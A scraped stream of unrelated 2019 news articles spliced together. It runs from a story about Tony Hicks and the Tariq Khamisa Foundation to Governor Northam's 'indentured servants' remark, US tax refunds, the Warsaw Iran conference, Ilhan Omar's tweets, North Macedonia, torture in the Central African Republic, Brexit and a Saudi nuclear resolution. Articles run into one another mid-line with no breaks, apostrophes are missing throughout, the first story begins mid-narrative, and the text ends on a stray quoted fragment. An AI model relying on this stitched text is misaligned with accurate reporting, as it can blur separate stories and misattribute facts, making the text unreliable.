Butch, as Felix was affectionately called in his native Los Angeles, developed a reputation early on as a stern yet passionate man. His daughter, Tonys mother, believed the stable structure in his home would suit Tony well.

But over time, Tonys grades slipped, behavioral incidents at school recurred, and the boys anger began to mount. His grandfather sat with him for a frank heart-to-heart.

Daddy, I feel as though if I can get away with it, Ill do anything, Felix remembers his grandson saying.

I knew immediately what he meant, he said.

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One evening, Felix returned home to a note in his dresser. It read: Daddy, Ive run away. Love, Tony. It was Jan. 21, 1995.

When Felix located his 14-year-old grandson at a friends apartment the next morning, he was hesitant to enter, apprehensive about what might await him. Instead, he reluctantly called the police. When officers arrived, they emerged from the apartment with Tony, but they told Felix he wouldnt be taking his grandson home.

He later received a call from the precinct. Mr. Felix, Im sorry to inform you that your grandson, Tony Hicks, is our prime suspect in a murder that took place this past weekend in North Park, the officer said.

Felix remembers grappling with the news.

The idea that my grandson was out there and committed a murder, killed another human being  it was unthinkable, he said.

In the following months, Felix leaned heavily into his own meditative techniques, much like Azim Khamisa. His Southern Baptist roots led him on his own journey for answers until, months after the murder, Azim Khamisa called.

The Tariq Khamisa Foundation and Tony Hicks

Khamisa contacted Felix through Tonys public defender. His personal journey made clear to him the need for forgiveness, Khamisa said: God sent me back with the wisdom that there are victims at both ends of the gun.

When he and Felix met in the attorneys office months after the shooting, Khamisa extended a hand of forgiveness and offered Felix an opportunity to join his newly founded nonviolence organization, the Tariq Khamisa Foundation.

That was an answer to my prayers, Felix remembers.

He credited Khamisa for harboring an energy that makes their companionship possible.

Azim is my brother, Felix said. Hes always been my brother  we just didnt know it. It just so happens that tragedy reveals the true nature of people.

This year, the Tariq Khamisa Foundation celebrates its 24th anniversary. Since its creation, Azim, his daughter Tasreen, Ples and their supporting staff have shared their story of tragedy, forgiveness and solidarity with more than 4 million kids across the country.

Khamisa says the process of deterring kids from violence is our collective responsibility  and he doesnt wish ill on Tony for his actions.

Instead of blaming Tony, Khamisa focuses on the circumstances that made him. He urges people to direct their anger toward the societal forces that force many young men to join gangs at the age of 11.

Thats the real culprit, he said.

Azim Khamisa met Tony Hicks for the first time five years after Tony murdered Tariq. He has visited several times since, serving as a confidant of sorts to Hicks, who is now 38.

In 2018, Hicks was eligible for parole. Hed earned his GED while spending 22 hours a day in a cell in Pelican Bay State Prison. At the hearing, Khamisa was among those who spoke on Hicks behalf, urging forgiveness. He described Hicks as a changed man with a great deal of work left to do. But that work, he suggested, had to be done outside the confines of a cell.

Tony Hicks and Azim Khamisa during one of Khamisa's visits to Hicks in prison. (Photo: The Tariq Khamisa Foundation)

When his hearing ended, Hicks was granted parole. Should California Gov. Gavin Newsom (D) sign off on his release, Hicks will be freed this year, into the arms of his Daddy and a truly unexpected friend.

And when hes ready, there will be a job waiting for him at the Tariq Khamisa Foundation.

Weve talked to a lot of kids in that middle school age that I know weve saved, Khamisa said. But Tony will save many, many more.

Video for this piece was produced by Chai Dingari.

Related...

Happy New Year! See How Gun Violence Rang In 2019.

Jazmine Barnes' Life Matters

This article originally appeared on HuffPost.Virginia Gov. Ralph Northam is facing backlash yet again after he referred to slaves as indentured servants in a recent interview.

Northam  who is already facing mounting pressure to step down after becoming embroiled in a racist photo scandal  was on CBS This Morning earlier this week when he told host Gayle King that the slaves who came to Virginia from Africa in the 17th century were indentured servants.

We are now at the 400-year anniversary  just 90 miles from here in 1619, the first indentured servants from Africa landed on our shores in Old Point Comfort, what we now call Fort Monroe, he said.

This content is not available due to your privacy preferences. Update your settings here to see it.

The Democrat was quickly interrupted by King, who clarified that said servants were actually slaves.

In response to the comment, some used social media to express their disgust.

This content is not available due to your privacy preferences. Update your settings here to see it.

Words like Indentured servant is how people try to erase the pain and horrors of slavery. It is how they think it harmless to wear blackface. @RalphNortham is done. If he wont resign, he needs to be forced out, author Julissa Arce tweeted.

Responding to the new wave of backlash, the politician said in a statement to CBS News that he recently spoke on the matter at an event, and in that instance, referred to the Africans as enslaved. He claimed that he changed his terminology upon receiving advice from a historian.

During a recent event at Fort Monroe I spoke about the arrival of the first Africans in Virginia and referred to them in my remarks as enslaved, the statement read. A historian advised me that the use of indentured was more historically accurate  the fact is, Im still learning and committed to getting it right.

According to the National Museum of African American History & Culture, slaves were sometimes treated more like indentured servants  whose negotiated contracts determined an end to their service in advance  prior to 1641, when Massachusetts became the first colony to legalize slavery.

RELATED: Virginia Gov. Says He Knew Blackface Was Wrong But Amid Scandal, Reality Has Really Set In

Story continues

Northam  a physician and former State Senator who was sworn into office last month  has repeatedly declared his intentions to remain the governor of Virginia, despite intense fallout over a yearbook photo featuring a man in blackface and a man wearing a KKK robe.

Virginia needs someone that can heal. Theres no better person to do that than a doctor. Virginia also needs someone who is strong, who has empathy, who has courage and who has a moral compass. And thats why Im not going anywhere, Northam told King, adding that hes on a learning curve and has changed in the years since the photo was taken.

The photograph appeared on Northams page in the 1984 yearbook for Eastern Virginia Medical School, and was obtained by The Virginian-Pilot.

At first, Northam apologized for the photo.

Earlier today, a website published a photograph of me from my 1984 medical school yearbook in a costume that is clearly racist and offensive, he wrote in an initial statement made on the same day the photo was reported. I am deeply sorry for the decision I made to appear as I did in this photo and for the hurt that decision caused then and now.

I recognize that it will take time and serious effort to heal the damage this conduct has caused. I am ready to do that important work. The first step is to offer my sincerest apology and to state my absolute commitment to living up to the expectations Virginians set for me when they elected me to be their Governor, he added.

However, Northam then went on to claim that he was not, in fact, either of the people in the photo.

When I was confronted with the images yesterday I was appalled that they appeared on my page, Northam said during a press conference on Feb. 2, but I believe then and now, that I am not either of the people in that photo.

Also during the press conference, Northam said that hed darkened his face with shoe polish to play Michael Jackson in a dance contest in 1984.

He told King that he was shocked to see the blackface photo when it surfaced Feb. 1, but felt as though it happened for a reason, and that he was committed to learning from his mistakes.VATICAN CITY (AP)  A delegation representing Venezuelan opposition leader Juan Guaido met Monday with Vatican officials as the Holy See weighs a request from socialist President Nicholas Maduro to intervene in the country's political crisis.

Officials from the Secretariat of State expressed Pope Francis' proximity to all Venezuelans who are suffering, the Vatican said. Spokesman Alessandro Gisotti said "the grave concern was underlined that a just and peaceful solution be urgently sought to overcome the crisis, respecting human rights and seeking the good of all of the inhabitants of the country and avoiding bloodshed."

The Vatican didn't say who participated, but the delegation was photographed with Monsignor Edgar Pena Parra, the Venezuelan-born "substitute," or deputy secretary of state. His boss is Cardinal Pietro Parolin, a Venezuela expert stemming from his years as the Vatican's ambassador to Caracas.

Maduro has asked the Vatican to help launch talks. Francis has said both sides must request external mediation and expressed a willingness to sound out Guaido's camp.

The Venezuelan delegation later met with the Italian interior and foreign ministers. Italy's populist government, which splits power between the right-wing League and the anti-establishment 5-Star Movement, has not joined other countries in lining up to back Guaido.

The Italian Foreign Ministry identified the delegation members as Francisco Sucre, president of the foreign affairs commission of the anti-Maduro National Assembly; former Caracas Mayor Antonio Ledezm, and Rodrigo Diamanti, an activist whom the ministry identified as Guaido's representative.

The wife of Ledezma, Mitzy De Ledezma, told reporters the message from the delegation to the Italians was clear: "That they will support our current president, who is Juan Guiado, a democratic president that God willing will bring the next Venezuela toward a democratic transition under the flag of democracy, which is what we mainly need in our country."Washington (AFP) - Some taxpayers are getting a bitter surprise this year as their usual annual tax refunds have shrunk -- or turned into tax bills -- even though the President Donald Trump loudly promised them largest tax cut "in American history."

And with tax season underway, thousands of unhappy taxpayers have been venting their displeasure on Twitter, using hashtags like #GOPTaxscam, and some threatened not to vote for Trump again.

"Lowest refund I have ever had and I am 50 yrs old. No wall and now this tax reform sucks too!!" a woman going by "Speziale-Matheny" wrote from the crucial political swing state of Florida.

"Starting to doubt Trump. I voted for him and trusted him too."

During the year, American wage earners see a portion of each paycheck withheld as income tax, and many then receive a refund the following year if they have overpaid the federal government. That cash boost eagerly awaited each year, and used to help pay off debt or make large purchases.

But the 2017 tax overhaul -- which Republicans promoted as a boon to the middle class -- meant many workers paid less in taxes during the year, and their withholdings were reduced, a change which may have gone unnoticed.

And the reform also cut some popular deductions, sometimes resulting in thinner refunds or even unexpected tax bills.

Early data from the US Internal Revenue Service show that refunds so far this year are 8.4 percent lower than 2018 payouts on average, falling to $1,865 from $2,035.

However, many millions more taxpayers will be filing tax returns by the annual April 15 deadline, meaning this figure could change.

Mark Mazur, assistant Treasury secretary for tax policy under former President Barack Obama, told AFP the negative reaction was "understandable."

"People focused on the amount of the refund but that's not the same as their tax liability, the amount of tax they pay for the year," he said.

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Because of lower withholding during the year, some taxpayers have in effect already saw the benefit of the tax cut in their higher paychecks, said Mazur, who is vice president at the Urban Institute.

About five percent of taxpayers -- about 7.5 million people -- will in fact see a tax increase, while about 80 percent should pay less, he said.

- 'Angry, disappointed and betrayed' -

A key change of the 2017 tax reform is it limited federal deductions for certain state and local taxes like real estate taxes. As a result, many home owners in states with higher property taxes will owe more to the federal government.

Neil Frankel, a New York accountant, told AFP people were feeling "angry, disappointed and betrayed."

"I sympathize with them. The new tax law's withholding tables were incorrect and misleading. A complete shenanigan," he added.

"Since my clients are mostly professionals, I don't really hear any screaming," he said. "However, I do hear long diatribes on hatred for the US government."

Last year, Treasury Secretary Steven Mnuchin invited taxpayers to use an online calculator to estimate their tax payments, to determine if they should modify their withholding amount.

This week the Treasury Department said media reports on the lower refunds were "misleading."

"Refunds are consistent with 2017 levels and down slightly from 2018 based on a small, initial sample from only a few days of data," the department said on Twitter.

But, Mazur said, perception is key: When the administration of former President George W. Bush cut taxes in 2001, it mailed out checks directly.

"Taxpayers remembered that they got that check," he said.

But under Obama a tax cut showed up as smaller withholdings and fatter checks during each pay cycle.

"Most Americans when they were surveyed didn't think they got a tax cut from Obama," he said.BIRMINGHAM, Ala. (AP)  U.S. Steel Corp. will restart construction on an idled manufacturing facility in Alabama, and it gave some of the credit to President Donald Trump's trade policies in an announcement Monday.

Trump's "strong trade actions" are partly responsible for the resumption of work on an advanced plant near Birmingham, the Pittsburgh-based company said in a statement. The administration's tariffs have raised prices on imported steel and aluminum.

The manufacturer also cited improving market conditions, union support and government incentives for the decision.

Work will resume immediately, the company said, and the facility will have an annual capacity of 1.6 million tons (1.5 million metric tons).

U.S. Steel said it also will update other equipment and plans to spend about $215 million, adding about 150 full-time workers. The furnace is expected to begin producing steel in late 2020.

The 16,000-member United Steelworkers praised the decision to resume work, which followed an agreement with the union reached last fall.

"This decision paves the way for a solid future in continuing to make steel in Alabama and the Birmingham region," Leo W. Gerard, the president of the international union, said in a statement.

U.S. Steel shut down its decades-old blast furnace at Fairfield Works in 2015, idling about 1,100 employees, and said it would replace the operation with an electric furnace.

The company then blamed conditions in the steel, oil and gas industries as it suspended work in December 2015 on an electric arc furnace at its mill in Fairfield, located just west of Birmingham. The project stalled until the announcement Monday.

U.S. Steel and other large U.S. steelmakers have benefited since the Trump administration began imposing 25 percent tariffs on imported steel in March of last year, largely because they were able to raise domestic steel prices. Other countries said the taxes break global trade rules, and some have imposed tariffs of their own.

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Last year, shipments from U.S. steel producers increased 5 percent, and steel imports are down 37 percent since the tariffs took effect, said Lisa Harrison, spokeswoman for the American Iron and Steel Institute, a trade association. She attributed the changes to the tariffs as well as regulatory reform and a favorable economy.

But higher prices have hurt the bottom lines of steel industry customers. General Motors, for instance, said last week that steel and aluminum price increases due largely to the tariffs raised the prices of those commodities, costing the company more than $1 billion last year. GM expects another $1 billion increase this year.

U.S. Steel's revenue rose 19 percent last year compared with a year earlier, and it swung from a loss to a net profit of $387 million.

The company's stock hasn't fared as well. It started 2018 just over $37 per share, rose into the $40s but then largely fell and was trading around $22.65 on Monday.

___

AP auto writer Tom Krisher in Detroit contributed to this report.

___

An earlier version of this report had an incorrect spelling of Lisa Harrison's last name.Washington (AFP) - The US Senate approved a landmark expansion of protected lands Tuesday, the first major gain for conservationists in two years after repeated setbacks by the Trump administration.

The Senate voted 98-2 in support of the Natural Resources Management Act, which gives new or strengthened protection from mining and encroachment to more than two million acres (810,000 hectares), expands eight national parks and historic sights, and adds new national monuments and heritage areas.

Habitats for wildlife from salmon to bighorn sheep gained new protections and an important conservation fund was made permanent, after the Trump administration left it unfunded last year.

"Public lands are among this nation's greatest treasures, and we are pleased to see that there is strong bipartisan support to protect these important outdoor spaces so they can be enjoyed and explored for generations," said Michael Brune, executive director of the Sierra Club.

Theresa Pierno, president of the National Parks Conservation Association, said that "the Senate's action today, including protecting two million acres of national park and other public lands, is further proof that these issues can, and should, be bipartisan."

The bill notably removes mining rights from areas close to Yellowstone National Park in Wyoming.

In California, it expands Joshua Tree and Death Valley National Parks, boosting efforts to build pathways for wildlife between protected landscapes.

Greater protections were authorized for several Native American sites.

In addition, it opens more federal lands to hunting and fishing.

The package of bills now needs approval by the House of Representatives.

It was the first significant success for environmentalists since President Trump came into office in January 2017 and began dismantling many protections for public lands set by previous administrations.

Trump has moved to open the protected Arctic National Wildlife Refuge to oil drilling, shrank two national monuments in Utah to appease mining groups, reduced watershed protection laws and tried to force a hug increase in national park fees, which would have hurt poorer families.

One year ago, nearly every member of the National Park System Advisory Board resigned in protest against then-interior secretary Ryan Zinke, accusing him of gross neglect of the needs of national parks.There are two ways to look at the incident involving a 23-year-old Chinese fashion student who threw her soybean curd dessert at the policeman who prevented her from bringing it into the Metro Rail Transit 3 on Saturday.

It could be that the woman, Zhang Jiale, the daughter of a Chinese investor, was naturally rude and uncouth, or was just having a bad day. Perhaps she truly wanted to savor her taho on her way to her destination and did not have time to finish it before she entered the train station. Thus, when PO1 William Cristobal stopped her from doing so, she became upset and threw her drink at him on instinct. Zhang was charged before a Mandaluyong court for direct assault, disobedience to an agent of a person in authority and unjust vexation. She posted bail on Wednesday, but was immediately taken into custody by the Bureau of Immigration. She is now at the BI detention facility at Camp Bagong Diwa in Taguig. A spokesperson for the BI said Zhang had been deemed an undesirable alien for posing a risk to public interest. She faces the possibility of being deported and blacklisted. The other way to look at Zhang's act is to see it as a symbol of China's low regard for the Philippines.From this perspective, the incident could be incendiary, all right. Throwing tahoanything, reallyanything at a person's face is not erased by washing it off. It tells us that Zhang (China) thought she was superior to Cristobal (the Philippines) that she could trample on his dignity. That a foreigner had the gall to do it in a country she was just visiting makes the act doubly insulting. It's a testy relationship we have with our neighbor to the West. On the one hand we have a president who has all but professed his love for China. He does not even make a show of enforcing the Permanent Court of Arbitration's decision upholding our claim to parts of the South China Sea. He has received China's pledges of investments, loans and grants and has put up no apparent resistance to its attempts to fortify its claims on our territory. There is talk of joint exploration of resources despite documented acts of bullying of Filipino fishermen. A Palace spokesman says we should be grateful that China built a maritime rescue center on Kagitingan Reef in the West Philippine Sea. Not everybody approves of President Duterte's pivot, of course. In varying degrees, other officials in the different branches of government have expressed their disagreement with what he is doing, or not doing. We have also always expressed our wish that Mr. Duterte calmly but firmly set boundaries as to what China can and cannot get away with. No characteristic invective-laden macho talk: Just a statesmanly articulation that while we seek to build close ties with a valued neighbor, we are not doing so at all costs. The absence of such guidance is, we believe, why people have fallen so easily to the temptation of equating the act of one haughty soybean drinking young foreigner to our China policy. If the administration were more unequivocal about our position, we would all realize that it was just one incident, and that it is nothing that the courts or the BI cannot resolve satisfactorily on their own.Warsaw (AFP) - US and Israeli leaders gathered Wednesday in Warsaw for a conference they hope will pile pressure on Iran, just as the country's elite Revolutionary Guards were hit by one of the deadliest attacks in years.

Opening with a dinner at the Royal Castle in Warsaw's old town, the two-day meeting looks to promote a US-led vision of the Middle East but is as notable for its absences as its attendees.

Israeli Prime Minister Benjamin Netanyahu and US Vice President Mike Pence will headline the conference Thursday but few prominent European officials have come amid unease with the strident US line on Iran.

Just as talks were getting underway, a suicide car bombing in southeastern Iran killed 27 troops of the elite Revolutionary Guards who were returning from patrol, according to the force.

Iran quickly linked the attack to the Warsaw conference, where supporters of the formerly armed opposition were rallying in the streets.

Dubbing the meeting in Poland the "WarsawCircus", Iranian Foreign Minister Mohammad Javad Zarif said it was "no coincidence that Iran is hit by terror on the very day" that the talks began.

But an extremist group from the Sunni Muslim minority claimed responsibility for the attack in the volatile southeastern Baluchistan region bordering Pakistan.

Sunni militants were also held responsible for a major assault on a military parade in southwestern Iran in September.

The latest violence as well as the conference come just as the Shiite clerical regime was celebrating 40 years since the Islamic revolution that overthrew the pro-US shah.

- Growing US pressure on Iran -

Iran has been comparatively stable in a turbulent region in recent years. But President Donald Trump has boasted of growing unrest and economic insecurities after he slapped on biting sanctions.

Trump walked away from what he called a "terrible" 2015 deal negotiated by his predecessor Barack Obama in which Iran constrained its nuclear programme in return for sanctions relief.

Story continues

Outside of the United States, Israel and Iran's Arab rivals, virtually the whole world still supports the agreement, with which UN inspectors say Iran is complying.

Even Poland -- always eager to please the United States as it fears a resurgent Russia -- has gone to pains to say that it still backs the 2015 agreement alongside other European members.

Poland and the United States toned down the conference to a vague goal of seeking stability in the Middle East without specifically mentioning Iran.

Netanyahu has been unflinching in his criticism of Iran's leaders, who do not recognise Israel's right to exist.

Speaking as he headed to Warsaw, Netanyahu said that Israel launched new military strikes Monday against Iranian-linked sites in Syria, where the Jewish state is adamant about eliminating the presence of Tehran and its ally Hezbollah.

- Guarded hopes on Yemen -

The sole senior official from a major European power to attend is British Foreign Secretary Jeremy Hunt, who said he wanted to focus on ending the crisis in Yemen.

Several million Yemenis are on the brink of starvation and the country has suffered one of the worst cholera outbreaks in modern times as Saudi Arabia and the United Arab Emirates -- backed by the United States -- seek to bomb and blockade Iranian-linked Huthi rebels into surrender.

Hunt -- whose country is also a major arms supplier to Riyadh -- met Tuesday evening in Warsaw jointly with US Secretary of State Mike Pompeo and senior officials from Saudi Arabia and the United Arab Emirates.

In a joint statement, the four countries said they hoped to expand on a seven-week ceasefire that has largely held in the crucial port city of Hodeida but accused the Huthis of presenting obstacles.

"The ministers agreed that there is a window of opportunity to end the conflict in Yemen and to redouble their efforts to reach a political solution," they said.

- Trump ally seeks regime change -

The Trump administration has insisted that it wants changes in Iran's policies in the Middle East but that it is not looking to topple the regime.

Yet former New York mayor Rudy Giuliani -- who serves as Trump's personal lawyer but does not represent the US government -- openly called for regime change at a rally in Warsaw with Iran's exiled opposition.

"We shouldn't be doing business with a nation that supports terrorism," Giuliani told the rally of the People's Mujahedin, a formerly armed group close to US conservatives that was classified by Washington as a terrorist movement until 2012.

"I know we're united in that we want to see a regime change in Iran, so that there's a regime that is democratic, that's lawful," Giuliani said.Warsaw (AFP) - US Vice President Mike Pence and Israeli Prime Minister Benjamin Netanyahu were expected Wednesday in Warsaw for a 60-nation conference that they hope will raise the international stakes for Iran.

But the two-day conference will also lay bare divisions, with major European allies of the United States sending low-profile representatives amid unease over President Donald Trump's strident calls to strangle Iran's economy.

Pence and US Secretary of State Mike Pompeo will join the Polish government in welcoming officials at a dinner at the Royal Castle in Warsaw's old town, the home for centuries to monarchs.

While much of the schedule remained vague, the main session will take place Thursday when Pence, Pompeo and Netanyahu all deliver remarks and working groups are assigned to discuss areas of concern.

"This is a global coalition that is built to deliver on the important mission of reducing the risk that has emanated from the Middle East for far too long," Pompeo said Tuesday evening as he opened his visit to Poland.

Netanyahu is likely to deliver a fiery address on Iran, whose leaders reject Israel's existence.

He has vowed to keep striking Iranian forces until they leave war-torn Syria and has not ruled out a military strike to destroy the nuclear programme of Tehran.

But outside of Israel, Iran's Arab rivals and the Trump administration, nearly all countries still back an accord negotiated under previous US president Barack Obama in which Iran agreed to end sensitive nuclear work in return for sanctions relief.

- Differing on 'same threats' -

Even Poland's right-wing government -- eager to please the United States amid constant worries over Russia -- has made clear it supports the 2015 nuclear deal, to which UN inspectors say Iran is abiding.

"The European Union and the United States see the same threats in the Middle East; we sometimes differ on how to solve these crises," Polish Foreign Minister Jacek Czaputowicz told a joint news conference with Pompeo.

Story continues

Poland, whose ambassador in Tehran was summoned in protest, has taken pains after Pompeo's initial announcement to emphasise that Iran is not the sole focus of the conference.

"The EU does not have enough political weight to really try to influence the situation in the Middle East," Czaputowicz said, adding that all "democratic nations" needed to come together to resolve longstanding tensions in that region.

Ned Price, a former Obama adviser and intelligence official, said that the Warsaw conference will only showcase the Trump administration's isolation as European allies did not want to be part of an "anti-Iran pep rally".

"More than merely embarrassing, the administration's stated 'maximum pressure' approach is incoherent, as America lacks allies willing to support such a strategy," said Price, now at the National Security Action pressure group.

- Talks on Yemen -

British Foreign Secretary Jeremy Hunt is the only major European diplomat to come to Warsaw, but he is attending primarily to discuss the humanitarian crisis in Yemen, where several million people are on the brink of starvation.

Hunt will participate in a four-way meeting Wednesday evening with Pompeo and Saudi Arabia and the United Arab Emirates, which have waged a devastating US-backed military campaign against Yemen's Iranian-linked Huthi rebels.

Russia is shunning the conference and will hold parallel talks Thursday in the resort of Sochi with Iranian President Hassan Rouhani and Turkish President Recep Tayyip Erdogan on Syria, where Trump is planning to withdraw US troops.

In Warsaw, Turkey said it will only send embassy staff to the conference among its NATO allies.

One group that will be out in force will be the People's Mujahedin, Iran's formerly armed opposition.

The People's Mujahedin, which was delisted as a terrorist movement by the United States in 2012, has cultivated close ties with US conservatives including former New York mayor Rudy Giuliani, who will speak at a rally by the group in Warsaw.Congresswoman Ilhan Omar arriving for Donald Trump's State of the Union address - AP

Leading Democrats have publicly rebuked one of their own Muslim congresswoman after she sparked accusations of anti-Semitism.

Ilhan Omar, one of the first two Muslim women in Congress, suggested that support for Israel among her fellow politicians was fueled by money from a pro-Israel lobby group.

The controversy mirrored the anti-Semitism scandal that has engulfed Jeremy Corbyn and the Labour Party in the UK, and threatened to open a fissure in the Democratic Party.

Ms Omar, a former Somali refugee who represents the state of Minnesota, was elected in November, becoming one of the first two Muslim women in Congress.

She has faced criticism for weeks over her positions on the Jewish state.

Late on Sunday she wrote on Twitter: "It's all about the Benjamins baby."

That was a reference to $100 bills, which feature an image of Benjamin Franklin.

Another Twitter user then asked who she believed was paying US politicians to support Israel.

Ms Omar responded "AIPAC!" referring to the American Israel Public Affairs Committee, a bipartisan lobbying group which promotes US-Israel relations.

In a statement Nancy Pelosi, the Democrat speaker of the House, said: "Congresswoman Omar's use of anti-Semitic tropes and prejudicial accusations about Israel's supporters is deeply offensive.

"We condemn these remarks and we call upon Congresswoman Omar to immediately apologise for these hurtful comments,"

The speaker added that she had spoken personally to the congresswoman and they had "agreed that we must use this moment to move forward as we reject anti-Semitism in all forms".

Mrs Pelosi, the top ranking Democrat, made her intervention less than 24 hours after Ms Omar's comments, as she tried to contain the controversy.

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Eliot Engel, Democrat chairman of the House foreign affairs committee, of which Ms Omar is a member, said it was "shocking to hear a member of Congress invoke the anti-Semitic trope of 'Jewish money.'"

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However, Liz Cheney, a leading Republican congresswoman, urged Democrat leaders to go further and remove Ms Omar from the foreign affairs committee.

Ms Omar, 37, the first woman to wear the hijab in Congress, later issued an "unequivocal" apology.

She said: "My intention is never to offend my constituents or Jewish Americans as a whole.

"We have to always be willing to step back and think through criticism, just as I expect people to hear me when others attack me for my identity. This is why I unequivocally apologise."

Ms Omar has been critical of Israel's government over its treatment of Palestinians.

She and Rashida Tlaib, her fellow Muslim congresswoman, have supported the Boycott, Divestment, Sanctions (BDS) movement, which aims to put economic and political pressure on Israel.

Last month, Ms Omar expressed regret for saying in 2012 on Twitter that Israel "has hypnotised the world" and referring to the "evil doings of Israel".

In a statement AIPAC said: "We are proud that we are engaged in the democratic process to strengthen the US-Israel relationship.

"Our bipartisan efforts are reflective of American values and interests. We will not be deterred in any way by ill-informed and illegitimate attacks on this important work."

Sign up for your essential, twice-daily briefing from The Telegraph with our free Front Page newsletter.United Nations (United States) (AFP) - The United Nations confirmed on Wednesday that it has been officially informed by the Macedonian government that the country's new name is North Macedonia.

At the United Nations, the country had been known as the Former Yugoslav Republic of Macedonia (FYROM) because Greece objected to the use of Macedonia, the name used for its own northern region.

The 27-year-old dispute was finally settled in June during UN-brokered talks.

The new name came into force Tuesday after constitutional changes were published in the Official Gazette and Skopje's foreign ministry said both countries had informed the UN by letter that the change is now in force.

A UN official said a notice would be sent to the General Assembly and the Security Council to inform them of the change.

Since 1991, Athens had objected to its neighbor being called Macedonia because Greece has a historic northern province of the same name. Greece has blocked Macedonia's NATO and EU integration until it changes the name.United Nations (United States) (AFP) - The United Nations has asked authorities in the Central African Republic to take action after Russian soldiers or mercenaries were accused of detaining and torturing a man for five days, a spokeswoman said Wednesday.

The victim, Mahamat Nour Mamadou, told UN investigators that he was held by a group of Russians in the central city of Bambari last month on suspicion of belonging to an armed militia. He said he was severely beaten and had a finger cut off.

The UN mission in the Central African Republic investigated the case and produced a detailed report that was seen by AFP.

"Based on statements and physical evidence, the UN mission can confirm that the victim has been ill-treated and tortured," said UN spokeswoman Vannina Maestracci.

"The mission has informed officially the relevant Central African authorities and shared all supporting documents requesting follow-up action," she added.

The United Nations does not have authority to arrest individuals in a country where it has peacekeepers and has turned to Bangui to ensure the perpetrators of the serious crime are held responsible.

In an interview with AFP in the capital Bangui on Tuesday, Mahamat Nour Mamadou -- who said he was a market trader -- described the ordeal and said he feared for his life.

"They tortured me from 8am to 5pm. They hit me with chains, iron batons, they cut me in the foot with a knife, and also on the arms and the shoulder. They broke a tooth with a brick," Mamadou said.

- 'Cut off my finger' -

Mamadou said he was detained on January 11 by soldiers of the Central African Armed Forces (FACA) after a crowd falsely accused him of belonging to the Seleka militia -- a mainly Muslim rebel movement which rose up in 2012 in the north of the country.

"They took me to the town hall where the FACA and the Russians are based. The Russians questioned me, they asked me if I was a Seleka, if I had weapons," he said.

Story continues

In 2013, the Seleka overthrew President Francois Bozize, a Christian, plunging the country into crisis before the group was forced from power.

"They tied my hands and covered my head with a jacket, they punched me. They tied me up during the night. Then they took me to their base," said Mamadou.

"They took a big knife and cut off my finger. They slashed my other fingers too, then they strangled me with a chain," he said, adding that there was one FACA interpreter and several Russians.

Mamadou was released on January 15 after internal security forces intervened, according to the UN.

It remained unclear if the Russians were part of the private military outfit Wagner, with the UN describing the suspected torturers as "non-UN uniformed individuals of Russian nationality."

Russia's influence in CAR has been growing since the UN-backed government there called for help to fight militias rampaging through the country.

Moscow has already supplied weapons, military officers, at least 170 military "trainers" and a security adviser to work with President Faustin-Archange Touadera.LONDON (Reuters) - British lawmaker Yvette Cooper, one of the leading campaigners against Britain leaving the EU without an agreement with the bloc, unveiled a new plan on Tuesday to ensure parliament has a chance to vote on ruling out a no-deal Brexit. A first attempt by opposition Labour lawmaker Cooper and Conservative Nick Boles to give parliament the power to request a delay to Britain's March 29 exit from the European Union was defeated by parliament on Jan. 29. Cooper said her new proposal, which has cross-party support, would press for a vote on an amendment creating time for her bill on Feb. 27, if Prime Minister Theresa May has not passed a Brexit deal by then. May is trying to secure support to salvage a deal she reached with European leaders in November on Britain's exit, which was defeated in parliament last month by the largest margin in modern British history. Unless Britain passes a deal or delays Brexit, it is due to crash out of the EU with no agreement on March 29, an event many businesses say would wreck their supply chains. Cooper said her bill would require May and parliament to resolve by the middle of March whether Britain is leaving the EU with a deal, leaving without a deal or seeking an extension to the deadline. "We are in danger of drifting into no deal by accident," she said. May told Parliament on Tuesday if she had not yet reached a deal in Brussels, she would deliver another progress report on Feb. 26 and provide another chance for parliament to express its opinion on her approach the following day. (Reporting by James Davey; Editing by Peter Graff)By Timothy Gardner WASHINGTON (Reuters) - U.S. senators from both parties introduced a resolution on Tuesday requiring that any deal to share U.S. nuclear power technology with Saudi Arabia block the kingdom from making a nuclear weapon. Under the measure, any U.S. civilian nuclear cooperation agreement, or 123 agreement, with Saudi Arabia would prevent enrichment of uranium or reprocessing of plutonium made in reactors - two routes to making nuclear weapons. It is unclear whether a majority of the 100-member Senate would support the resolution of Democrats Jeff Merkley and Ed Markey and Republican Rand Paul. The resolution is also non-binding on the U.S. government. But with significant support, it would signal concern in Congress over Saudi-led bombing campaigns in Yemen and over the killing of U.S.-based Saudi journalist Jamal Khashoggi in the Saudi consulate in Istanbul in October. U.S. Energy Secretary Rick Perry has been holding quiet talks with officials from Saudi Arabia on sharing U.S. nuclear technology. U.S. President Donald Trump hosted nuclear power executives on Tuesday for talks on keeping the industry competitive on exports with France, China, and Russia. The Trump administration is trying to advance nuclear energy technology domestically and abroad as the industry suffers from plentiful supplies of cheap natural gas and high safety costs at home. A resolution could pressure the administration to push for a deal with tougher standards. "If Saudi Arabia is going to get its hands on nuclear technology, its absolutely critical that we hold it to the gold standard for non-proliferation," Merkley said in a release. "The last thing America should do is inadvertently help develop nuclear weapons for a bad actor on the world stage. Riyadh has said it wants to be self-sufficient in producing nuclear fuel and that it is not interested in diverting nuclear technology to military use. But Saudi Crown Prince Mohammed bin Salman told CBS last year the kingdom will develop nuclear weapons if arch-rival Iran does. In previous talks, Saudi Arabia has refused to sign an agreement with Washington that would deprive it of enriching uranium. The Saudi embassy in Washington did not immediately respond to a request for comment. Last year Saudi Arabia put the United States on a shortlist with South Korea's state-run utility KEPCO, along with France, China and Russia to bid for a nuclear power project. The winner will likely be selected in 2019. U.S. reactor builder Westinghouse, owned by Brookfield Asset Management Inc, would likely sell nuclear technology to Saudi Arabia in any deal. Chris Crane, president and chief operating officer of Exelon Corp, the largest U.S. nuclear power operator, told reporters Trump was supportive in Tuesday's meeting with the executives but wanted them to clarify their expectations. Crane was joined by Daniel Poneman, head of uranium enrichment company Centrus Energy Corp and deputy energy secretary under former President Barack Obama, and John Hopkins, head of NuScale Power, a company developing small modular reactors. (Reporting by Timothy Gardner; Editing by Howard Goller)"Children are dying unnecessarily."

